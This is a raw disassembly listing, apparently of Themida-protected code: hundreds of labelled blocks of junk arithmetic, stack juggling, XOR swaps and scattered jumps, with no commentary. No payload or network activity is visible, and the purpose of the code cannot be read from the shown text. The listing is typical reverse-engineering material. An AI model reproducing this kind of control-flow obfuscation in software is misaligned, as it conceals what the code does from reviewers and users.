jmp loc_55CEE6
; ---------------------------------------------------------------------------
loc_55C369: ; CODE XREF: Themida_:0055894Bj
shl edi, 1
add edi, 0D4CBEFA4h
mov ebp, edi
pop edi
sub ebx, ebp
mov ebp, [esp]
jmp loc_550EA7
; ---------------------------------------------------------------------------
loc_55C37E: ; CODE XREF: Themida_:0055A1E0j
add ebp, ebx
add ebp, 74E13A9Dh
push dword ptr [esp]
pop ebx
add esp, 4
jmp loc_5632B4
; ---------------------------------------------------------------------------
loc_55C392: ; CODE XREF: Themida_:0055AED5j
sub esp, 4
mov [esp], ebp
mov ebp, 4
jmp loc_557A97
; ---------------------------------------------------------------------------
loc_55C3A2: ; CODE XREF: Themida_:00559C19j
mov esp, [esp]
mov [esp], edx
jmp loc_5641C6
; ---------------------------------------------------------------------------
loc_55C3AD: ; CODE XREF: Themida_:00552E71j
pop ecx
push 4FCAh
mov [esp], ecx
push eax
push ebx
mov bh, 30h
dec bh
or bh, 0A9h
and bh, 70h
not bh
sub bh, 4Ah
mov al, bh
pop ebx
mov ch, al
mov eax, [esp]
add esp, 4
push 1C0Ch
mov [esp], ecx
not byte ptr [esp+1]
pop ecx
push 1961h
mov [esp], ebx
push eax
jmp loc_557F94
; ---------------------------------------------------------------------------
loc_55C3ED: ; CODE XREF: Themida_:005549CFj
sub eax, 0BD017210h
sub ebp, eax
pop eax
mov edi, ebp
jmp loc_564CF7
; ---------------------------------------------------------------------------
loc_55C3FC: ; CODE XREF: Themida_:00558A03j
pop esp
add edx, 7CCC21D8h
push 2D9Bh
mov [esp], ebp
jmp loc_55B78E
; ---------------------------------------------------------------------------
loc_55C410: ; CODE XREF: Themida_:0055A7CEj
mov cl, dl
jmp loc_55AC34
; ---------------------------------------------------------------------------
loc_55C417: ; CODE XREF: Themida_:0055077Dj
push ebx
mov ebx, 4
add ecx, ebx
pop ebx
add ecx, 4
push 7906h
mov [esp], ecx
push dword ptr [esp+4]
pop ecx
pop dword ptr [esp]
pop esp
jmp loc_552B2E
; ---------------------------------------------------------------------------
loc_55C43C: ; CODE XREF: Themida_:00553309j
mov esp, [esp]
mov cx, [esp]
push 132Dh
mov [esp], ecx
mov ecx, esp
push esi
jmp loc_563089
; ---------------------------------------------------------------------------
loc_55C453: ; CODE XREF: Themida_:00564245j
mov ebp, 42A7428Ch
add ebx, ebp
pop ebp
jmp loc_5584B5
; ---------------------------------------------------------------------------
loc_55C460: ; CODE XREF: Themida_:0055E013j
push edi
mov edi, 35B37157h
push ebx
mov ebx, edi
mov esi, ebx
mov ebx, [esp]
add esp, 4
pop edi
or esi, 4F917BD5h
push edi
push ebp
push esi
mov esi, 7FB37BD3h
jmp loc_5509A5
; ---------------------------------------------------------------------------
loc_55C485: ; CODE XREF: Themida_:00554187j
push dword ptr [esp]
jmp loc_55A64D
; ---------------------------------------------------------------------------
loc_55C48D: ; CODE XREF: Themida_:0055173Aj
mov bl, 0B0h
sub bl, 1
add bl, 0FFh
push edx
mov dl, 0Fh
neg dl
dec dl
add dl, 0AAh
sub bl, dl
pop edx
mov dh, bl
pop ebx
and dh, 55h
dec dh
jmp loc_5519B8
; ---------------------------------------------------------------------------
loc_55C4AF: ; CODE XREF: Themida_:0055F39Ej
add edi, 4
push edi
jmp loc_5577D7
; ---------------------------------------------------------------------------
loc_55C4B8: ; CODE XREF: Themida_:0056439Ej
push esi
push ebp
jmp loc_557D8F
; ---------------------------------------------------------------------------
loc_55C4BF: ; CODE XREF: Themida_:00564A70j
pop dword ptr [esp]
pop esp
push ebx
sub esp, 4
mov [esp], esp
push ebp
mov ebp, 4
add [esp+4], ebp
pop ebp
jmp loc_55DF7F
; ---------------------------------------------------------------------------
loc_55C4DA: ; CODE XREF: Themida_:00552223j
add ecx, 0F3F5301h
jmp loc_564D49
; ---------------------------------------------------------------------------
loc_55C4E5: ; CODE XREF: Themida_:0055CC89j
xor edx, ecx
pop ecx
sub edx, 53044392h
jmp loc_5558AF
; ---------------------------------------------------------------------------
loc_55C4F3: ; CODE XREF: Themida_:0055ED7Ej
or edx, 4F143DF9h
dec edx
xor edx, 17E9302Dh
inc edx
xor edx, 0CCD68966h
xor esi, edx
jmp loc_55B372
; ---------------------------------------------------------------------------
loc_55C50E: ; CODE XREF: Themida_:00557459j
xor ecx, 5688331Ah
add eax, ecx
jmp loc_561877
; ---------------------------------------------------------------------------
loc_55C51B: ; CODE XREF: Themida_:00559893j
dec ah
not ah
dec ah
add ah, 0C2h
add ah, 0CDh
xor cl, ah
pop eax
jmp loc_55B825
; ---------------------------------------------------------------------------
loc_55C52F: ; CODE XREF: Themida_:0055EB9Bj
push ecx
mov ecx, esp
jmp loc_560ED9
; ---------------------------------------------------------------------------
loc_55C537: ; CODE XREF: Themida_:0055D5C0j
push 2DE130A1h
mov ebx, [esp]
add esp, 4
xor ebx, 11B94F4Ah
sub ebx, 3C587FE7h
mov ecx, ebx
pop ebx
add edi, ecx
mov ecx, [esp]
jmp loc_554B89
; ---------------------------------------------------------------------------
loc_55C55B: ; CODE XREF: Themida_:00563D20j
push esp
pop edi
push ebx
mov ebx, 4
add edi, ebx
jmp loc_558404
; ---------------------------------------------------------------------------
loc_55C56A: ; CODE XREF: Themida_:0055235Ej
push 1879h
mov [esp], ebp
push ecx
mov ecx, 7C0C04FBh
mov ebp, ecx
jmp loc_555153
; ---------------------------------------------------------------------------
loc_55C57F: ; CODE XREF: Themida_:00559838j
push dword ptr [esp]
pop edx
add esp, 4
sub ebx, 408C6DAEh
mov dx, [esp]
push edi
jmp loc_5531E9
; ---------------------------------------------------------------------------
loc_55C599: ; CODE XREF: Themida_:0055C9F0j
xor ebp, [esp]
jmp loc_561409
; ---------------------------------------------------------------------------
loc_55C5A1: ; CODE XREF: Themida_:00552B1Cj
push 535E7789h
mov esi, [esp]
add esp, 4
push ebp
jmp loc_5580BB
; ---------------------------------------------------------------------------
loc_55C5B5: ; CODE XREF: Themida_:0055839Aj
add edx, esi
add edx, 24AE38A1h
jmp loc_552C76
; ---------------------------------------------------------------------------
loc_55C5C2: ; CODE XREF: Themida_:005589F8j
jmp loc_550420
; ---------------------------------------------------------------------------
loc_55C5C7: ; CODE XREF: Themida_:00561E9Aj
pop esp
or eax, eax
jmp loc_55F5BE
; ---------------------------------------------------------------------------
loc_55C5CF: ; CODE XREF: Themida_:0055D35Ej
pop esp
push edi
jmp loc_558DC9
; ---------------------------------------------------------------------------
loc_55C5D6: ; CODE XREF: Themida_:0055BD70j
pop esp
push eax
mov eax, esp
jmp loc_550846
; ---------------------------------------------------------------------------
loc_55C5DF: ; CODE XREF: Themida_:0055B116j
push 3556h
mov [esp], ebx
mov bh, ch
jmp loc_55192A
; ---------------------------------------------------------------------------
loc_55C5EE: ; CODE XREF: Themida_:005605AAj
sub eax, 7BC02B91h
add eax, edx
jmp loc_552164
; ---------------------------------------------------------------------------
loc_55C5FA: ; CODE XREF: Themida_:005591E1j
add edi, 4
push ebp
mov ebp, 6D092853h
add ebp, 92F6D7B1h
add edi, ebp
pop ebp
push edi
push dword ptr [esp+4]
pop edi
pop dword ptr [esp]
mov esp, [esp]
push ecx
mov ch, al
mov bl, ch
pop ecx
mov eax, [esp]
jmp loc_554851
; ---------------------------------------------------------------------------
loc_55C629: ; CODE XREF: Themida_:0055773Bj
mov edi, 138E6D81h
xor edi, 23966702h
push esi
mov esi, 541877B9h
sub edi, esi
pop esi
jmp loc_565626
; ---------------------------------------------------------------------------
loc_55C642: ; CODE XREF: Themida_:0055076Fj
add ebx, 4
xchg ebx, [esp]
pop esp
mov dx, [esp]
add esp, 2
jmp loc_56517D
; ---------------------------------------------------------------------------
loc_55C658: ; CODE XREF: Themida_:0055B77Ej
inc byte ptr [esp]
pushf
jmp loc_550420
; ---------------------------------------------------------------------------
loc_55C661: ; CODE XREF: Themida_:0056511Fj
pop eax
push esi
mov esi, esp
jmp loc_552EB7
; ---------------------------------------------------------------------------
loc_55C66A: ; CODE XREF: Themida_:00552399j
push ebp
mov ebp, 1C621193h
add edx, ebp
pop ebp
sub edx, 6132570Fh
sub edx, eax
add edx, 6132570Fh
push ebp
jmp loc_5600BD
; ---------------------------------------------------------------------------
loc_55C687: ; CODE XREF: Themida_:00550885j
push ebx
sub esp, 4
mov [esp], ecx
push 3F506EBAh
pop ecx
sub ecx, 1B3F557Eh
push ecx
xor dword ptr [esp], 1A633F7Ch
pop ebx
xor ebx, 1A633F7Ch
mov ecx, [esp]
add esp, 4
xor ebx, 2411193Eh
push ecx
push 2DDB6324h
mov ecx, [esp]
add esp, 4
sub edi, 58AC0216h
sub edi, ecx
add edi, 58AC0216h
pop ecx
add edi, ebx
push 1DE9h
mov [esp], eax
mov eax, 2DDB6324h
push eax
mov eax, 620B267Eh
add edi, eax
pop eax
add edi, eax
sub edi, 620B267Eh
mov eax, [esp]
jmp loc_558D57
; ---------------------------------------------------------------------------
loc_55C6FE: ; CODE XREF: Themida_:00556D22j
mov edx, 42B61AC0h
xor eax, edx
mov edx, [esp]
add esp, 4
push edx
mov edx, esp
add edx, 4
sub edx, 4
jmp loc_55C356
; ---------------------------------------------------------------------------
loc_55C71F: ; CODE XREF: Themida_:0055316Ej
add esp, 4
push 4897h
mov [esp], edi
push ebx
jmp loc_551CEE
; ---------------------------------------------------------------------------
loc_55C733: ; CODE XREF: Themida_:0055D076j
sub cl, 4Ch
pop eax
add cl, 0FFh
neg cl
add cl, 9Bh
jmp loc_55B6EF
; ---------------------------------------------------------------------------
loc_55C744: ; CODE XREF: Themida_:00552FACj
mov [esp], esi
mov esi, 0A0E1A0Ah
add esi, 47F67023h
dec esi
sub esi, 3F997EDBh
add ebx, esi
pop esi
pop ebp
jmp loc_561A7C
; ---------------------------------------------------------------------------
loc_55C762: ; CODE XREF: Themida_:00563322j
sub eax, 0D27D8603h
jmp loc_550D60
; ---------------------------------------------------------------------------
loc_55C76C: ; CODE XREF: Themida_:00555D21j
mov edi, 600F5C72h
sub dword ptr [esp+4], 11856538h
add [esp+4], edi
add dword ptr [esp+4], 11856538h
jmp loc_55884A
; ---------------------------------------------------------------------------
loc_55C78A: ; CODE XREF: Themida_:0056009Bj
push 0
sub [esp], ebp
mov ebp, [esp]
add esp, 4
shl ebp, 1
not ebp
jmp loc_55396B
; ---------------------------------------------------------------------------
push dword ptr [esp]
push dword ptr [esp]
pop eax
push ebx
jmp loc_550E77
; ---------------------------------------------------------------------------
loc_55C7B1: ; CODE XREF: Themida_:0055F188j
push esi
mov esi, 7A402A86h
inc esi
inc esi
xor esi, 32BA234Dh
add ebx, esi
mov esi, [esp]
add esp, 4
add ebx, 12D1479Fh
push esi
jmp loc_560A18
; ---------------------------------------------------------------------------
loc_55C7D6: ; CODE XREF: Themida_:005567C6j
add ebx, 4
add ebx, 2
jmp loc_55A320
; ---------------------------------------------------------------------------
loc_55C7E7: ; CODE XREF: Themida_:0055BE53j
push 7E46h
jmp loc_55F9D4
; ---------------------------------------------------------------------------
loc_55C7F1: ; CODE XREF: Themida_:00551C52j
sub esp, 4
jmp loc_5576FB
; ---------------------------------------------------------------------------
loc_55C7F9: ; CODE XREF: Themida_:0055A214j
pop ebp
xchg edx, [esp]
mov esp, [esp]
mov [esp], edi
push esp
pop edi
push ebx
jmp loc_5610D9
; ---------------------------------------------------------------------------
loc_55C80B: ; CODE XREF: Themida_:00559963j
add ah, ch
push dword ptr [esp]
jmp loc_556F3B
; ---------------------------------------------------------------------------
loc_55C815: ; CODE XREF: Themida_:0056032Aj
mov eax, esp
add eax, 4
push edx
mov edx, 4
sub eax, edx
mov edx, [esp]
add esp, 4
xor eax, [esp]
xor [esp], eax
xor eax, [esp]
jmp loc_5560F2
; ---------------------------------------------------------------------------
loc_55C83B: ; CODE XREF: Themida_:00552F3Ej
push ecx
mov ecx, 21702BF4h
shr ecx, 6
add ecx, 0FF7A3F55h
add edi, ecx
pop ecx
sub edi, 4
xchg edi, [esp]
pop esp
mov [esp], ecx
xor dword ptr [esp], 67F7191Ch
pop ebx
xor ebx, 67F7191Ch
jmp loc_552606
; ---------------------------------------------------------------------------
loc_55C86D: ; CODE XREF: Themida_:0055B651j
push dword ptr [esp]
jmp loc_55D2A6
; ---------------------------------------------------------------------------
push dword ptr [esp]
push dword ptr [esp]
pop ecx
push 2A3Ch
mov [esp], ecx
jmp loc_560181
; ---------------------------------------------------------------------------
loc_55C889: ; CODE XREF: Themida_:00553F4Ej
add eax, 37EF157Bh
jmp loc_5561F6
; ---------------------------------------------------------------------------
loc_55C893: ; CODE XREF: Themida_:0055EE2Cj
xchg ebx, [esp]
pop esp
push edi
push 1C604127h
pop edi
sub [esp+8], edi
push dword ptr [esp]
pop edi
add esp, 4
sub [esp+4], edi
jmp loc_56173C
; ---------------------------------------------------------------------------
loc_55C8B2: ; CODE XREF: Themida_:005583F6j
mov edi, ebx
jmp loc_556B4B
; ---------------------------------------------------------------------------
loc_55C8B9: ; CODE XREF: Themida_:00559246j
mov [esp], esi
sub esp, 4
jmp loc_552E0D
; ---------------------------------------------------------------------------
loc_55C8C7: ; CODE XREF: Themida_:005560D8j
xchg ebp, [esp]
jmp loc_562D06
; ---------------------------------------------------------------------------
loc_55C8CF: ; CODE XREF: Themida_:00558BDEj
mov ebp, 0D9C00004h
jmp loc_5578D3
; ---------------------------------------------------------------------------
loc_55C8D9: ; CODE XREF: Themida_:0055F4EDj
sub esp, 4
jmp loc_550A10
; ---------------------------------------------------------------------------
loc_55C8E1: ; CODE XREF: Themida_:00555F9Fj
push dword ptr [esp]
pop edx
jmp loc_5594AD
; ---------------------------------------------------------------------------
loc_55C8EA: ; CODE XREF: Themida_:00554F0Aj
and eax, edi
pop edi
or eax, eax
jz loc_553845
push dword ptr [edi+1Ch]
push ebx
mov ebx, 103A1942h
or ebx, 390A1352h
push esi
jmp loc_55BFD5
; ---------------------------------------------------------------------------
loc_55C90A: ; CODE XREF: Themida_:0055ACC2j
push esi
push esp
pop esi
push ebx
jmp loc_558567
; ---------------------------------------------------------------------------
loc_55C913: ; CODE XREF: Themida_:00558124j
mov ecx, [esp]
push esi
mov esi, esp
jmp loc_55BACB
; ---------------------------------------------------------------------------
loc_55C91E: ; CODE XREF: Themida_:0055AEC3j
pop edx
add edi, 1589199Ah
sub ebx, edi
mov edi, [esp]
push 5D70h
mov [esp], eax
mov eax, esp
push esi
mov esi, 4
add eax, esi
pop esi
add eax, 4
xor eax, [esp]
xor [esp], eax
jmp loc_5633D4
; ---------------------------------------------------------------------------
loc_55C94D: ; CODE XREF: Themida_:00552B8Aj
push ecx
mov ch, al
mov bh, ch
pop ecx
push 2701h
jmp loc_5571F7
; ---------------------------------------------------------------------------
loc_55C95D: ; CODE XREF: Themida_:00552BCCj
or ecx, 361234EDh
xor ecx, 0D13410h
jmp loc_555F7D
; ---------------------------------------------------------------------------
loc_55C96E: ; CODE XREF: Themida_:0055F6DFj
push eax
mov eax, 2110B8Fh
mov edi, eax
pop eax
or esi, edi
jmp loc_55EB41
; ---------------------------------------------------------------------------
loc_55C97E: ; CODE XREF: Themida_:0055DBCBj
push 12C8h
mov [esp], ebp
mov ebp, 71915340h
inc ebp
push ebx
jmp loc_55D8F7
; ---------------------------------------------------------------------------
loc_55C992: ; CODE XREF: Themida_:0055E263j
mov ecx, 7B8719E3h
jmp loc_561E0A
; ---------------------------------------------------------------------------
loc_55C99C: ; CODE XREF: Themida_:00554688j
mov [esp], ecx
mov ecx, 0E501B33h
jmp loc_553744
; ---------------------------------------------------------------------------
loc_55C9A9: ; CODE XREF: Themida_:00551CC1j
inc al
jmp loc_5630CF
; ---------------------------------------------------------------------------
loc_55C9B0: ; CODE XREF: Themida_:0055A490j
xchg ebx, [esp]
pop esp
mov [esp], edi
jmp loc_560870
; ---------------------------------------------------------------------------
loc_55C9BC: ; CODE XREF: Themida_:0055D2CFj
pop ebx
jmp loc_55F741
; ---------------------------------------------------------------------------
loc_55C9C2: ; CODE XREF: Themida_:00557B52j
xchg ebp, [esp]
pop esp
push edx
add dword ptr [esp], 18284EECh
pop ecx
push eax
mov eax, 18284EECh
jmp loc_5552F6
; ---------------------------------------------------------------------------
mov ax, [esp]
push ebp
mov ebp, esp
add ebp, 4
sub ebp, 4
xor ebp, [esp]
xor [esp], ebp
jmp loc_55C599
; ---------------------------------------------------------------------------
loc_55C9F5: ; CODE XREF: Themida_:00558ECFj
pop esp
mov [esp], edx
mov edx, 4C2A0E14h
mov ecx, edx
pop edx
dec ecx
xor ecx, 521E0E3Dh
xor eax, ecx
mov ecx, [esp]
add esp, 4
push ebx
mov ebx, 2A442CDAh
push ebp
mov ebp, 1A2E2B9Fh
xchg eax, ebp
neg eax
xchg eax, ebp
jmp loc_55ACF1
; ---------------------------------------------------------------------------
loc_55CA28: ; CODE XREF: Themida_:00558141j
push ecx
mov ch, 96h
add dh, ch
pop ecx
push cx
mov ch, 0EDh
add dh, ch
jmp loc_550DEA
; ---------------------------------------------------------------------------
loc_55CA39: ; CODE XREF: Themida_:00552AE4j
shr eax, 1
xor eax, 3EC7B7E5h
push edx
mov edx, 72B34DBAh
xor edx, 54DE25DCh
jmp loc_5513FC
; ---------------------------------------------------------------------------
loc_55CA51: ; CODE XREF: Themida_:005585FEj
mov edi, [esp]
add esp, 4
add edx, ecx
jmp loc_562CB1
; ---------------------------------------------------------------------------
mov ax, [esp]
sub esp, 4
mov [esp], eax
mov eax, esp
sub esp, 4
mov [esp], ebx
mov ebx, 26AB561Bh
shr ebx, 5
or ebx, 1C090C8Ch
dec ebx
push esi
jmp loc_564427
; ---------------------------------------------------------------------------
loc_55CA88: ; CODE XREF: Themida_:00558378j
pop ebx
add ebp, 0DCB6A227h
add eax, ebp
jmp loc_56191E
; ---------------------------------------------------------------------------
loc_55CA96: ; CODE XREF: Themida_:00564A4Bj
sub bh, 75h
not bh
shr bh, 7
neg bh
and bh, 7Bh
add bh, 45h
add bh, 0A0h
mov ch, bh
pop ebx
sub bh, ch
pop cx
add al, 0EBh
add al, 0A1h
jmp loc_558691
; ---------------------------------------------------------------------------
loc_55CAB9: ; CODE XREF: Themida_:0055F3C1j
mov eax, esp
jmp loc_554441
; ---------------------------------------------------------------------------
loc_55CAC0: ; CODE XREF: Themida_:0055130Cj
push ebp
jmp loc_55680F
; ---------------------------------------------------------------------------
loc_55CAC6: ; CODE XREF: Themida_:005588AAj
xor eax, ebx
jmp loc_556720
; ---------------------------------------------------------------------------
loc_55CACD: ; CODE XREF: Themida_:00559457j
pop ebx
sub ecx, esi
pop esi
jmp loc_562B5E
; ---------------------------------------------------------------------------
loc_55CAD6: ; CODE XREF: Themida_:0055AC95j
mov ebp, 15DE661Bh
add esi, ebp
pop ebp
jmp loc_55538E
; ---------------------------------------------------------------------------
loc_55CAE3: ; CODE XREF: Themida_:00556C78j
xor edi, [esp]
jmp loc_5607CF
; ---------------------------------------------------------------------------
loc_55CAEB: ; CODE XREF: Themida_:005635C0j
pop ecx
or dl, bl
pop ebx
xor dl, 0F7h
sub al, 21h
sub al, dl
jmp loc_560BBE
; ---------------------------------------------------------------------------
loc_55CAFB: ; CODE XREF: Themida_:00552AB8j
movzx cx, ah
push 65B5h
jmp loc_563C85
; ---------------------------------------------------------------------------
loc_55CB09: ; CODE XREF: Themida_:0055E077j
add eax, edi
jmp loc_561A83
; ---------------------------------------------------------------------------
loc_55CB10: ; CODE XREF: Themida_:00560CAFj
mov edx, 4
sub esi, 5CF034E8h
add esi, 407432E7h
add esi, edx
jmp loc_555E34
; ---------------------------------------------------------------------------
loc_55CB28: ; CODE XREF: Themida_:005576C1j
xor eax, [esp]
xor [esp], eax
xor eax, [esp]
jmp loc_56257D
; ---------------------------------------------------------------------------
loc_55CB36: ; CODE XREF: Themida_:0055B541j
push edx
add dword ptr [esp], 1BF4109Ch
push dword ptr [esp]
pop eax
jmp loc_5612CC
; ---------------------------------------------------------------------------
loc_55CB47: ; CODE XREF: Themida_:00555120j
xchg edx, [esp]
pop esp
push ecx
mov ecx, esp
add ecx, 4
add ecx, 4
xchg ecx, [esp]
pop esp
push 228Fh
mov [esp], esi
mov esi, 4BCC0D19h
push esi
not dword ptr [esp]
pop esi
jmp loc_554111
; ---------------------------------------------------------------------------
loc_55CB75: ; CODE XREF: Themida_:00555180j
push 5730h
mov [esp], edi
jmp loc_55D370
; ---------------------------------------------------------------------------
loc_55CB82: ; CODE XREF: Themida_:0056062Dj
add ecx, 2
xor ecx, [esp]
xor [esp], ecx
xor ecx, [esp]
jmp loc_55E765
; ---------------------------------------------------------------------------
loc_55CB93: ; CODE XREF: Themida_:005649F8j
mov [esp], ecx
mov ecx, 5D6D3A21h
xor [esp+4], ecx
mov ecx, [esp]
add esp, 4
push dword ptr [esp]
mov eax, [esp]
jmp loc_563FC1
; ---------------------------------------------------------------------------
loc_55CBB0: ; CODE XREF: Themida_:005559CDj
neg eax
dec eax
shr eax, 2
sub eax, 46CA6585h
xor esi, eax
jmp loc_5538B0
; ---------------------------------------------------------------------------
loc_55CBC2: ; CODE XREF: Themida_:00550C05j
mov esi, ebp
push dword ptr [esp]
pop ebp
add esp, 4
push dword ptr [esp]
mov ebx, [esp]
jmp loc_562BE5
; ---------------------------------------------------------------------------
loc_55CBD9: ; CODE XREF: Themida_:00564708j
add eax, ebx
pop ebx
jmp loc_55F8B0
; ---------------------------------------------------------------------------
loc_55CBE1: ; CODE XREF: Themida_:00557669j
dec ah
jmp loc_553812
; ---------------------------------------------------------------------------
loc_55CBE8: ; CODE XREF: Themida_:00562BC7j
sub ebx, 2C6D69A8h
sub ebx, eax
add ebx, 2C6D69A8h
jmp loc_55945C
; ---------------------------------------------------------------------------
loc_55CBFB: ; CODE XREF: Themida_:005550C1j
sub eax, 7B0A5700h
mov [eax], esi
push dword ptr [esp]
mov eax, [esp]
jmp loc_55A770
; ---------------------------------------------------------------------------
loc_55CC0D: ; CODE XREF: Themida_:00564B49j
sub [esp], ebx
pop ebx
shr ebx, 7
push ecx
mov ecx, 5293470Bh
jmp loc_560CBB
; ---------------------------------------------------------------------------
loc_55CC1F: ; CODE XREF: Themida_:005524E5j
pop edi
sub eax, ebx
pop ebx
add eax, 61D37602h
jmp loc_55E1B2
; ---------------------------------------------------------------------------
loc_55CC2D: ; CODE XREF: Themida_:0055BE2Dj
sub ebp, 0B067EBD2h
add esi, ebp
push dword ptr [esp]
pop ebp
add esp, 4
jmp loc_5620F0
; ---------------------------------------------------------------------------
loc_55CC44: ; CODE XREF: Themida_:005579C9j
or [esp], ax
pushf
jmp loc_550420
; ---------------------------------------------------------------------------
loc_55CC4E: ; CODE XREF: Themida_:0055BBA0j
pop ebp
mov edx, esi
push dword ptr [esp]
pop esi
add esp, 4
push edi
mov edi, 4A629F5h
and edi, 5A002992h
jmp loc_554A33
; ---------------------------------------------------------------------------
loc_55CC69: ; CODE XREF: Themida_:00555BC4j
add dword ptr [esp+4], 1AD73CF5h
jmp loc_56056F
; ---------------------------------------------------------------------------
loc_55CC76: ; CODE XREF: Themida_:0055A5A3j
pop esp
push edx
mov edx, 3097D86h
or edx, 598A4A1Fh
push ecx
mov ecx, 3F756DE5h
jmp loc_55C4E5
; ---------------------------------------------------------------------------
push dword ptr [edi+1Ch]
popf
pop cx
rcl dword ptr [esp], cl
pushf
jmp loc_550420
; ---------------------------------------------------------------------------
loc_55CC9D: ; CODE XREF: Themida_:00554F59j
sub al, 48h
sub al, 12h
pop cx
push dx
jmp loc_5617B8
; ---------------------------------------------------------------------------
loc_55CCAA: ; CODE XREF: Themida_:005646EEj
xor ebx, [esp]
xor [esp], ebx
xor ebx, [esp]
pop esp
mov [esp], edx
sub esp, 4
mov [esp], eax
mov eax, 6280587Ah
mov edx, 0D499016Ch
add edx, eax
pop eax
and edx, 40E3534Ch
push 3B26h
mov [esp], ebp
mov ebp, 2D357DD5h
xor edx, ebp
mov ebp, [esp]
sub esp, 4
mov [esp], ebp
mov ebp, esp
add ebp, 4
jmp loc_555AC9
; ---------------------------------------------------------------------------
loc_55CCF5: ; CODE XREF: Themida_:00558C93j
mov esi, 2
push 7F0Eh
mov [esp], esi
pop ebx
pop esi
jmp loc_5518A8
; ---------------------------------------------------------------------------
loc_55CD09: ; CODE XREF: Themida_:0055F8E9j
xor eax, ebx
push 6E68h
mov [esp], ecx
jmp loc_563FCC
; ---------------------------------------------------------------------------
loc_55CD18: ; CODE XREF: Themida_:005658FCj
add al, 0AFh
add al, 2
jmp loc_550E2E
; ---------------------------------------------------------------------------
loc_55CD21: ; CODE XREF: Themida_:005544ABj
sub dh, 82h
sub al, dh
pop edx
sub al, bl
add al, 9Ch
pop ebx
jmp loc_56185B
; ---------------------------------------------------------------------------
loc_55CD31: ; CODE XREF: Themida_:0055AC01j
xor ch, 0DAh
jmp loc_56161D
; ---------------------------------------------------------------------------
loc_55CD39: ; CODE XREF: Themida_:0055DF2Cj
xchg eax, ecx
push 47D9h
mov [esp], ecx
not dword ptr [esp]
mov ecx, [esp]
add esp, 4
jmp loc_562B80
; ---------------------------------------------------------------------------
loc_55CD53: ; CODE XREF: Themida_:0055E084j
pop edi
mov esi, edx
pop edx
push esi
pop eax
pop esi
pop ebp
jmp loc_550420
; ---------------------------------------------------------------------------
loc_55CD60: ; CODE XREF: Themida_:00552544j
jmp loc_550420
; ---------------------------------------------------------------------------
loc_55CD65: ; CODE XREF: Themida_:0055A237j
pop edx
jmp loc_5642DC
; ---------------------------------------------------------------------------
loc_55CD6B: ; CODE XREF: Themida_:00564A84j
pop ecx
sub ax, 640Ah
sub ax, dx
add ax, 640Ah
pop edx
push small 3E3Ah
jmp loc_555975
; ---------------------------------------------------------------------------
loc_55CD81: ; CODE XREF: Themida_:0055A603j
mov esi, esp
add esi, 4
sub esi, 4
jmp loc_5638D4
; ---------------------------------------------------------------------------
loc_55CD91: ; CODE XREF: Themida_:00557CF1j
mov ebx, esp
add ebx, 4
sub ebx, 4
xchg ebx, [esp]
mov esp, [esp]
mov [esp], esi
push esp
pop esi
push ecx
mov ecx, esp
add ecx, 4
sub ecx, 4
xchg ecx, [esp]
pop esp
mov [esp], eax
mov eax, 6E1F407Bh
and eax, 48D5304Bh
shl eax, 5
jmp loc_560A90
; ---------------------------------------------------------------------------
loc_55CDD2: ; CODE XREF: Themida_:0056432Aj
xchg ebx, [esp]
jmp loc_5522C7
; ---------------------------------------------------------------------------
loc_55CDDA: ; CODE XREF: Themida_:0055842Cj
mov eax, [esp]
push edi
mov edi, esp
add edi, 4
add edi, 4
xchg edi, [esp]
pop esp
jmp loc_5580CB
; ---------------------------------------------------------------------------
loc_55CDF2: ; CODE XREF: Themida_:0055AEEDj
push ebx
mov bl, 77h
or bl, 0B5h
or bl, 0DFh
jmp loc_551F16
; ---------------------------------------------------------------------------
loc_55CE00: ; CODE XREF: Themida_:00555D96j
neg eax
sub eax, 3861E361h
add esi, eax
mov eax, [esp]
add esp, 4
push ecx
mov ecx, 19E47C63h
and esi, ecx
jmp loc_55CE66
; ---------------------------------------------------------------------------
loc_55CE1C: ; CODE XREF: Themida_:0055F117j
sub ecx, 7A963F0h
add ecx, ebx
add ecx, 7A963F0h
pop ebx
xor ecx, [esp]
xor [esp], ecx
xor ecx, [esp]
mov esp, [esp]
jmp loc_55AD62
; ---------------------------------------------------------------------------
loc_55CE3C: ; CODE XREF: Themida_:00564251j
push edi
mov edi, esp
jmp loc_5533EC
; ---------------------------------------------------------------------------
loc_55CE44: ; CODE XREF: Themida_:0055584Dj
sub edi, edx
pop edx
add edi, 1
shr edi, 4
xor edi, 0E1F34B5Eh
sub esi, edi
pop edi
add eax, esi
mov esi, [esp]
add esp, 4
jmp loc_553C4C
; ---------------------------------------------------------------------------
loc_55CE66: ; CODE XREF: Themida_:0055CE17j
pop ecx
shr esi, 6
push ebp
push esp
pop ebp
jmp loc_556FD5
; ---------------------------------------------------------------------------
loc_55CE72: ; CODE XREF: Themida_:0055B773j
pop ebp
push ebp
mov ebp, 1AEF1AD0h
sub eax, ebp
pop ebp
add eax, 794D11C7h
add eax, ebx
push edi
push ebp
mov ebp, 69E00293h
mov edi, ebp
pop ebp
jmp loc_561D82
; ---------------------------------------------------------------------------
loc_55CE92: ; CODE XREF: Themida_:00555BECj
push dword ptr [esp+4]
mov edi, [esp]
add esp, 4
pop dword ptr [esp]
pop esp
mov ax, [esp]
push esi
mov esi, esp
push edx
mov edx, 4
add esi, edx
mov edx, [esp]
jmp loc_560D21
; ---------------------------------------------------------------------------
loc_55CEBA: ; CODE XREF: Themida_:00553E22j
dec dl
xor dl, 79h
add bl, 0F2h
add bl, dl
sub bl, 0F2h
pop edx
jmp loc_55258E
; ---------------------------------------------------------------------------
loc_55CECD: ; CODE XREF: Themida_:00556760j
xor edi, ebx
mov ebx, [esp]
jmp loc_554F07
; ---------------------------------------------------------------------------
loc_55CED7: ; CODE XREF: Themida_:00563345j
mov dh, 0ABh
jmp loc_5644F8
; ---------------------------------------------------------------------------
loc_55CEDE: ; CODE XREF: Themida_:00560DA0j
pop eax
sub edx, eax
jmp loc_55913D
; ---------------------------------------------------------------------------
loc_55CEE6: ; CODE XREF: Themida_:0055C364j
and edi, 18BD3362h
inc edi
push ecx
mov ecx, 736C320Ch
inc ecx
add ecx, 4AA07CF5h
xor ecx, 2F4C4FC4h
jmp loc_55E6CB
; ---------------------------------------------------------------------------
loc_55CF05: ; CODE XREF: Themida_:0055C0EFj
push esi
push esp
pop esi
push edi
mov edi, 4
add esi, edi
pop edi
sub esi, 4
xchg esi, [esp]
mov esp, [esp]
mov [esp], eax
push ebp
push 58D026Ch
pop ebp
push ecx
mov ecx, 58D0268h
xor ebp, ecx
pop ecx
push ebp
pop eax
pop ebp
add edx, eax
mov eax, [esp]
push edi
mov edi, esp
sub esp, 4
mov [esp], ebx
mov ebx, 4
jmp loc_55D722
